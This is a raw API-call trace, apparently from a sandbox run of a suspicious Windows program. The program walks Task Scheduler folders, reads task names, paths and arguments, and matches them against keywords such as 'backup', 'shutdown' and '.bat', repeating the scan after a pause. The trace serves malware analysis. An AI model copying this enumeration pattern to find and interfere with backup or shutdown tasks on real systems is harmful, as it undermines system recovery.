[0198.737] IUnknown:Release (This=0x47fea0) returned 0x1 [0198.737] IUnknown:Release (This=0x47fe28) returned 0x0 [0198.737] IUnknown:Release (This=0x47fd68) returned 0x0 [0198.737] IUnknown:Release (This=0x2463648) returned 0x0 [0198.737] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd10) returned 0x0 [0198.738] ITaskFolderCollection:get_Count (in: This=0x47fd10, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0198.738] IUnknown:Release (This=0x47fd10) returned 0x0 [0198.738] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0198.738] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x26, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0198.738] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0198.738] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0198.738] IUnknown:Release (This=0x2463648) returned 0x0 [0198.738] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0198.739] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0198.739] IUnknown:Release (This=0x47fcb8) returned 0x0 [0198.739] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0198.739] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0198.739] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0198.739] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0198.739] IUnknown:Release (This=0x2463648) returned 0x0 [0198.739] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd10) returned 0x0 [0198.740] ITaskFolderCollection:get_Count (in: This=0x47fd10, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0198.740] IUnknown:Release (This=0x47fd10) returned 0x0 [0198.740] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0198.740] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x28, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0198.740] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0198.740] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0198.740] IUnknown:Release (This=0x2463648) returned 0x0 [0198.740] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0198.741] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0198.741] IUnknown:Release (This=0x47fcb8) returned 0x0 [0198.741] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0198.741] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x29, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0198.741] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0198.741] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0198.741] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd80) returned 0x0 [0198.741] IRegisteredTask:get_Name (in: This=0x47fd80, pName=0x5cf9f8 | out: pName=0x5cf9f8*="QueueReporting") returned 0x0 [0198.741] IRegisteredTask:get_State (in: This=0x47fd80, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0198.743] IUnknown:Release (This=0x47fd80) returned 0x0 [0198.743] IUnknown:Release (This=0x2463648) returned 0x0 [0198.743] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd18) returned 0x0 [0198.743] ITaskFolderCollection:get_Count (in: This=0x47fd18, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0198.744] IUnknown:Release (This=0x47fd18) returned 0x0 [0198.744] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0198.744] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2a, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0198.744] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0198.744] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0198.744] IUnknown:Release (This=0x2463648) returned 0x0 [0198.744] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd20) returned 0x0 [0198.745] ITaskFolderCollection:get_Count (in: This=0x47fd20, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0198.745] IUnknown:Release (This=0x47fd20) returned 0x0 [0198.745] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0198.745] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0198.745] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0198.745] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0198.745] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd80) returned 0x0 [0198.745] IRegisteredTask:get_Name (in: This=0x47fd80, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UpdateLibrary") returned 0x0 [0198.745] IRegisteredTask:get_State (in: This=0x47fd80, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0198.747] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3cc8 [0198.747] wcsstr (_Str="updatelibrary", _SubStr="reboot") returned 0x0 [0198.747] wcsstr (_Str="updatelibrary", _SubStr="restart") returned 0x0 [0198.747] wcsstr (_Str="updatelibrary", _SubStr="shutdown") returned 0x0 [0198.747] wcsstr (_Str="updatelibrary", _SubStr="logoff") returned 0x0 [0198.747] wcsstr (_Str="updatelibrary", _SubStr=".bat") returned 0x0 [0198.747] wcsstr (_Str="updatelibrary", _SubStr="backup") returned 0x0 [0198.747] wcsstr (_Str="updatelibrary", _SubStr=".cmd") returned 0x0 [0198.747] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3cc8) returned 1 [0198.747] IRegisteredTask:get_Definition (in: This=0x47fd80, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe40) returned 0x0 [0198.752] ITaskDefinition:get_Actions (in: This=0x47fe40, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47feb8) returned 0x0 [0198.752] IActionCollection:get_Count (in: This=0x47feb8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0198.752] IActionCollection:get_Item (in: This=0x47feb8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463708) returned 0x0 [0198.752] IAction:get_Type (in: This=0x2463708, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0198.752] IUnknown:QueryInterface (in: This=0x2463708, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463708) returned 0x0 [0198.752] IExecAction:get_Path (in: This=0x2463708, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="\"%ProgramFiles%\\Windows Media Player\\wmpnscfg.exe\"") returned 0x0 [0198.752] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x66) returned 0x79d9e8 [0198.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="reboot") returned 0x0 [0198.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="restart") returned 0x0 [0198.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="shutdown") returned 0x0 [0198.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="logoff") returned 0x0 [0198.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr=".bat") returned 0x0 [0198.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="backup") returned 0x0 [0198.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr=".cmd") returned 0x0 [0198.752] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x79d9e8) returned 1 [0198.752] IExecAction:get_Arguments (in: This=0x2463708, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0198.753] IUnknown:Release (This=0x2463708) returned 0x2 [0198.753] IUnknown:Release (This=0x2463708) returned 0x1 [0198.753] IUnknown:Release (This=0x47feb8) returned 0x1 [0198.753] IUnknown:Release (This=0x47fe40) returned 0x0 [0198.753] IUnknown:Release (This=0x47fd80) returned 0x0 [0198.753] IUnknown:Release (This=0x2463648) returned 0x0 [0198.753] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd18) returned 0x0 [0198.753] ITaskFolderCollection:get_Count (in: This=0x47fd18, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0198.753] IUnknown:Release (This=0x47fd18) returned 0x0 [0198.753] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0198.753] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2c, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0198.753] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0198.754] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0198.754] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd10) returned 0x0 [0198.754] IRegisteredTask:get_Name (in: This=0x47fd10, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ConfigNotification") returned 0x0 [0198.754] IRegisteredTask:get_State (in: This=0x47fd10, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0198.755] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0198.755] wcsstr (_Str="confignotification", _SubStr="reboot") returned 0x0 [0198.755] wcsstr (_Str="confignotification", _SubStr="restart") returned 0x0 [0198.755] wcsstr (_Str="confignotification", _SubStr="shutdown") returned 0x0 [0198.755] wcsstr (_Str="confignotification", _SubStr="logoff") returned 0x0 [0198.755] wcsstr (_Str="confignotification", _SubStr=".bat") returned 0x0 [0198.755] wcsstr (_Str="confignotification", _SubStr="backup") returned 0x0 [0198.755] wcsstr (_Str="confignotification", _SubStr=".cmd") returned 0x0 [0198.756] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0198.756] IRegisteredTask:get_Definition (in: This=0x47fd10, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fdd0) returned 0x0 [0198.762] ITaskDefinition:get_Actions (in: This=0x47fdd0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fe48) returned 0x0 [0198.762] IActionCollection:get_Count (in: This=0x47fe48, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0198.762] IActionCollection:get_Item (in: This=0x47fe48, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463708) returned 0x0 [0198.762] IAction:get_Type (in: This=0x2463708, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0198.762] IUnknown:QueryInterface (in: This=0x2463708, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463708) returned 0x0 [0198.762] IExecAction:get_Path (in: This=0x2463708, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%systemroot%\\System32\\sdclt.exe") returned 0x0 [0198.762] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c28f0 [0198.762] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="reboot") returned 0x0 [0198.762] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="restart") returned 0x0 [0198.762] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="shutdown") returned 0x0 [0198.763] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="logoff") returned 0x0 [0198.763] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr=".bat") returned 0x0 [0198.763] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="backup") returned 0x0 [0198.763] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr=".cmd") returned 0x0 [0198.763] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c28f0) returned 1 [0198.763] IExecAction:get_Arguments (in: This=0x2463708, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/CONFIGNOTIFICATION") returned 0x0 [0198.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0198.763] wcsstr (_Str="/confignotification", _SubStr="reboot") returned 0x0 [0198.763] wcsstr (_Str="/confignotification", _SubStr="restart") returned 0x0 [0198.763] wcsstr (_Str="/confignotification", _SubStr="shutdown") returned 0x0 [0198.763] wcsstr (_Str="/confignotification", _SubStr="logoff") returned 0x0 [0198.763] wcsstr (_Str="/confignotification", _SubStr=".bat") returned 0x0 [0198.763] wcsstr (_Str="/confignotification", _SubStr="backup") returned 0x0 [0198.763] wcsstr (_Str="/confignotification", _SubStr=".cmd") returned 0x0 [0198.763] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0198.763] IUnknown:Release (This=0x2463708) returned 0x2 [0198.763] IUnknown:Release (This=0x2463708) returned 0x1 [0198.763] IUnknown:Release (This=0x47fe48) returned 0x1 [0198.763] IUnknown:Release (This=0x47fdd0) returned 0x0 [0198.763] IUnknown:Release (This=0x47fd10) returned 0x0 [0198.763] IUnknown:Release (This=0x2463648) returned 0x0 [0198.763] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0198.764] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0198.764] IUnknown:Release (This=0x47fcb8) returned 0x0 [0198.764] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0198.764] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2d, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0198.764] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0198.764] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0198.764] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd68) returned 0x0 [0198.764] IRegisteredTask:get_Name (in: This=0x47fd68, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Calibration Loader") returned 0x0 [0198.764] IRegisteredTask:get_State (in: This=0x47fd68, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0198.766] IUnknown:Release (This=0x47fd68) returned 0x0 [0198.766] IUnknown:Release (This=0x2463648) returned 0x0 [0198.766] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd10) returned 0x0 [0198.766] ITaskFolderCollection:get_Count (in: This=0x47fd10, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0198.766] IUnknown:Release (This=0x47fd10) returned 0x0 [0198.766] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0198.766] IUnknown:Release (This=0x47fc70) returned 0x0 [0198.766] TaskScheduler:IUnknown:Release (This=0x24600f0) returned 0x0 [0198.766] ITaskFolderCollection:get_Item (in: This=0x2461f18, index=0x5cfa74*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfa9c | out: ppFolder=0x5cfa9c*=0x24600f0) returned 0x0 [0198.766] ITaskFolder:GetTasks (in: This=0x24600f0, flags=0, ppTasks=0x5cfa3c | out: ppTasks=0x5cfa3c*=0x24636c8) returned 0x0 [0198.767] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cfa18 | out: pCount=0x5cfa18*=0) returned 0x0 [0198.767] IUnknown:Release (This=0x24636c8) returned 0x0 [0198.767] ITaskFolder:GetFolders (in: This=0x24600f0, flags=0, ppFolders=0x5cfa78 | out: ppFolders=0x5cfa78*=0x47fc70) returned 0x0 [0198.767] ITaskFolderCollection:get_Count (in: This=0x47fc70, pCount=0x5cfa6c | out: pCount=0x5cfa6c*=0) returned 0x0 [0198.767] IUnknown:Release (This=0x47fc70) returned 0x0 [0198.767] TaskScheduler:IUnknown:Release (This=0x24600f0) returned 0x0 [0198.767] IUnknown:Release (This=0x2461f18) returned 0x0 [0198.768] TaskScheduler:IUnknown:Release (This=0x24600c0) returned 0x0 [0198.768] ITaskFolderCollection:get_Item (in: This=0x2461ed0, index=0x5cfaa0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfac8 | out: ppFolder=0x5cfac8*=0x24600c0) returned 0x0 [0198.768] ITaskFolder:GetTasks (in: This=0x24600c0, flags=0, ppTasks=0x5cfa68 | out: ppTasks=0x5cfa68*=0x2463648) returned 0x0 [0198.768] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cfa44 | out: pCount=0x5cfa44*=0) returned 0x0 [0198.768] IUnknown:Release (This=0x2463648) returned 0x0 [0198.768] ITaskFolder:GetFolders (in: This=0x24600c0, flags=0, ppFolders=0x5cfaa4 | out: ppFolders=0x5cfaa4*=0x2461f18) returned 0x0 [0198.768] ITaskFolderCollection:get_Count (in: This=0x2461f18, pCount=0x5cfa98 | out: pCount=0x5cfa98*=0) returned 0x0 [0198.769] IUnknown:Release (This=0x2461f18) returned 0x0 [0198.769] TaskScheduler:IUnknown:Release (This=0x24600c0) returned 0x0 [0198.769] IUnknown:Release (This=0x2461ed0) returned 0x0 [0198.769] TaskScheduler:IUnknown:Release (This=0x2460090) returned 0x0 [0198.769] TaskScheduler:IUnknown:Release (This=0x2460a68) returned 0x0 [0198.769] CoUninitialize () [0199.165] Sleep (dwMilliseconds=0xea60) [0209.285] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0209.285] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0209.483] CoCreateInstance (in: rclsid=0xc6050*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xc6040*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x5cfaf8 | out: ppv=0x5cfaf8*=0x2460a68) returned 0x0 [0209.493] TaskScheduler:ITaskService:Connect (This=0x2460a68, serverName=0x5cfaa0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x5cfab0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x5cfac0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x5cfad0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0209.905] TaskScheduler:ITaskService:GetFolder (in: This=0x2460a68, Path="\\", ppFolder=0x5cfaf4 | out: ppFolder=0x5cfaf4*=0x2460090) returned 0x0 [0209.945] ITaskFolder:GetTasks (in: This=0x2460090, flags=0, ppTasks=0x5cfa94 | out: ppTasks=0x5cfa94*=0x2463648) returned 0x0 [0209.946] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cfa70 | out: pCount=0x5cfa70*=0) returned 0x0 [0209.946] IUnknown:Release (This=0x2463648) returned 0x0 [0209.946] ITaskFolder:GetFolders (in: This=0x2460090, flags=0, ppFolders=0x5cfad0 | out: ppFolders=0x5cfad0*=0x2461ed0) returned 0x0 [0209.947] ITaskFolderCollection:get_Count (in: This=0x2461ed0, pCount=0x5cfac4 | out: pCount=0x5cfac4*=2) returned 0x0 [0209.947] ITaskFolderCollection:get_Item (in: This=0x2461ed0, index=0x5cfaa0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfac8 | out: ppFolder=0x5cfac8*=0x24600c0) returned 0x0 [0209.947] ITaskFolder:GetTasks (in: This=0x24600c0, flags=0, ppTasks=0x5cfa68 | out: ppTasks=0x5cfa68*=0x2463648) returned 0x0 [0209.947] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cfa44 | out: pCount=0x5cfa44*=0) returned 0x0 [0209.947] IUnknown:Release (This=0x2463648) returned 0x0 [0209.947] ITaskFolder:GetFolders (in: This=0x24600c0, flags=0, ppFolders=0x5cfaa4 | out: ppFolders=0x5cfaa4*=0x2461f18) returned 0x0 [0209.948] ITaskFolderCollection:get_Count (in: This=0x2461f18, pCount=0x5cfa98 | out: pCount=0x5cfa98*=2) returned 0x0 [0209.948] ITaskFolderCollection:get_Item (in: This=0x2461f18, index=0x5cfa74*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa9c | out: ppFolder=0x5cfa9c*=0x24600f0) returned 0x0 [0209.948] ITaskFolder:GetTasks (in: This=0x24600f0, flags=0, ppTasks=0x5cfa3c | out: ppTasks=0x5cfa3c*=0x2463648) returned 0x0 [0209.948] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cfa18 | out: pCount=0x5cfa18*=0) returned 0x0 [0209.948] IUnknown:Release (This=0x2463648) returned 0x0 [0209.948] ITaskFolder:GetFolders (in: This=0x24600f0, flags=0, ppFolders=0x5cfa78 | out: ppFolders=0x5cfa78*=0x47fc70) returned 0x0 [0209.952] ITaskFolderCollection:get_Count (in: This=0x47fc70, pCount=0x5cfa6c | out: pCount=0x5cfa6c*=45) returned 0x0 [0209.952] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0209.952] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0209.954] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0209.954] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fde8) returned 0x0 [0209.954] IRegisteredTask:get_Name (in: This=0x47fde8, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AD RMS Rights Policy Template Management (Automated)") returned 0x0 [0209.955] IRegisteredTask:get_State (in: This=0x47fde8, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0209.958] IUnknown:Release (This=0x47fde8) returned 0x0 [0209.958] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fde8) returned 0x0 [0209.958] IRegisteredTask:get_Name (in: This=0x47fde8, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AD RMS Rights Policy Template Management (Manual)") returned 0x0 [0209.958] IRegisteredTask:get_State (in: This=0x47fde8, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0209.961] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x64) returned 0x79d9e8 [0209.962] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="reboot") returned 0x0 [0209.962] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="restart") returned 0x0 [0209.962] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="shutdown") returned 0x0 [0209.962] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="logoff") returned 0x0 [0209.962] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr=".bat") returned 0x0 [0209.962] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="backup") returned 0x0 [0209.962] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr=".cmd") returned 0x0 [0209.962] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x79d9e8) returned 1 [0209.962] IRegisteredTask:get_Definition (in: This=0x47fde8, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47ff28) returned 0x0 [0209.970] 